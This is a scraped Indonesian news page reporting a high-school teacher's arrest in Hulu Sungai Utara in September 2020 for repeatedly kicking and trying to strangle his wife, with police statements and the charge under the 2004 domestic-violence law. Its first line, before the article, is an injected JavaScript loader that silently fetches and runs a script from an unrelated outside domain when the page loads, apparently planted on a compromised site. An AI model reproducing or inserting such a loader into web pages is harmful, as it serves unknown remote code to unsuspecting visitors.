(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: KRIMINAL HSU

Aniaya Istri Berkali-kali, Guru SMA Digelandang ke Mapolsek Alabio


KANALKALIMANTAN.COM, AMUNTAI – Pria berinisial MM (35), warga Desa Rantau Bujur Tengah RT 01, Kecamatan Sungai Tabukan, Kabupaten Hulu Sungai Utara (HSU) ditangkap polisi.

Hal ini setelah MM yang juga seorang guru SMA ini dilaporkan istrinya sendiri JM (26) atas sangkaan tindak pidana Kekerasan Dalam Rumah Tangga (KDRT).

Akibat kasus tersebut, JM sempat mengalami trauma dan sebagian anggota badannya mengalami luka lebam.

Kapolres HSU AKBP Afri Darmawan, melalui Kapolsek Alabio Iptu Agus Sumitro, kepada Kanalkalimantan.com, Sabtu (19/9/2020) membenarkan adanya pelaporan kasus KDRT ini.

“Berdasarkan laporan dan hasil penyelidikan anggota Polsek Alabio, kami secara cepat merespon dengan melakukan penangkapan pelaku MM di kediamannya pada Jumat (18/9/2020),” katanya.

Menurut Iptu Agus, peristiwa terjadi pada Selasa 15 September 2020 sekitar pukul 15.00 Wita. Ketika itu pelaku yang baru pulang kerja disambut oleh anaknya dengan berlari ke arahnya.

Tetapi anaknya tersebut terjatuh selanjutnya pelaku berucap kepada istrinya yang intinya, “Kamu ini tidak bisa menjaga anak,” kata pelaku. Lalu dijawab oleh istrinya, “Kalau marah dari luar jangan dibawa ke rumah.”

Nah, mendengar hal tersebut, MM lantas naik pitam dan langsung menganiaya istrinya dengan menendang ke arah kaki sebanyak satu kali.

Tak sampai di situ, saat korban JM masuk kamar diikuti pelaku yang kembali menganiaya dengan menendang kaki korban sebanyak 5 kali sambil mengeluarkan kata – kata kasar.

Bahkan, saat korban berusaha menghindar dan keluar menuju ruang tamu, MM kembali menganiaya dengan menendang berkali-kali ke arah kaki istrinya.

Akibatnya korban terjatuh ke lantai, dan dalam posisi tersebut pelaku MM kembali berusaha mencekik leher istrinya itu, namun gagal karena korban melakukan perlawanan dengan cara menarik tangannya.

Akhirnya, tindakan pelaku MM tersebut berhenti setelah anak pelaku dan istrinya menangis menghampiri mereka berdua. Alhasil atas peristiwa tersebut korban mengalami luka memar pada bagian kedua kakinya dan melaporkan suaminya ke Mapolsek Alabio guna proses penyelidikan lebih lanjut.

Kepada polisi, korban mengaku peristiwa tersebut bukan kali pertama didapatnya. Selama 6 tahun pelaku dan korban membina rumah tangga, korban sudah lima kali mengalami kekerasan yang dilakukan suaminya.

Sementara, saat diamankan dari keterangan pelaku mengakui perbuatannya tersebut. MM pun digiring ke Polsek Alabio guna proses lebih lanjut.

Atas perbuatannya pelaku MM bakal dijerat tentang tindak pidana Kekerasan Dalam Rumah Tangga (KDRT) sebagaimana yang dimaksud dalam rumusan pasal 44 Ayat ( 1 ) Undang – undang RI Nomor 23 tahun 2004 tentang penghapusan kekerasan dalam rumah tangga. (kanalkalimantan.com/dew)

 

Reporter: Dew
Editor: Cell


Desy Arfianty

Recent Posts

Diduga Buat Akta Palsu, Notaris Senior di Bekasi Dilaporkan ke Polda Metro Jaya

Singapore Exchange Kecolongan, Data Palsu Digunakan untuk IPO Saham Read More

5 jam ago

Selewengkan Dana Simpan Pinjam Perempuan UPK Kecamatan Simpur, Marwan Diadili

KANALKALIMANTAN.COM, BANJARMASIN - Sidang kasus dugaan korupsi dari Kabupaten Hulu Sungai Selatan (HSS), Provinsi Kalimantan… Read More

7 jam ago

DJBC Kalbagsel Lepas Ekspor 2.016 Kg Belut Hidup Kalsel ke Tiongkok

KANALKALIMANTAN.COM, BANJARMASIN - Ribuan belut sawah hidup dari wilayah Kalimantan Selatan (Kalsel) dikirim ke negara… Read More

11 jam ago

Optimalkan Pengelolaan Website, Ini yang dilakukan Diskominfosandi HSU

KANALKALIMANTAN.COM, AMUNTAI - Dinas Komunikasi Informatika dan Persandian (Diskominfosandi) Hulu Sungai Utara (HSU) menggelar bimbingan… Read More

11 jam ago

Lima Rumah Hangus di Guntung Paikat, Diduga Kabel Listrik Sudah Tua

KANALKALIMANTAN.COM, BANJARBARU - Lima rumah terbakar di Jalan Delima Ujung RT 003 RW 001 Kelurahan… Read More

12 jam ago

750 Formasi CPNS dan PPPK 2024 Pemkab Balangan, Seleksi Berjalan Sesuai Jadwal

KANALKALIMANTAN.COM, PARINGIN - Pemerintah Kabupaten Balangan telah menerima persetujuan 750 formasi tahun 2024 untuk pengadaan… Read More

15 jam ago

This website uses cookies.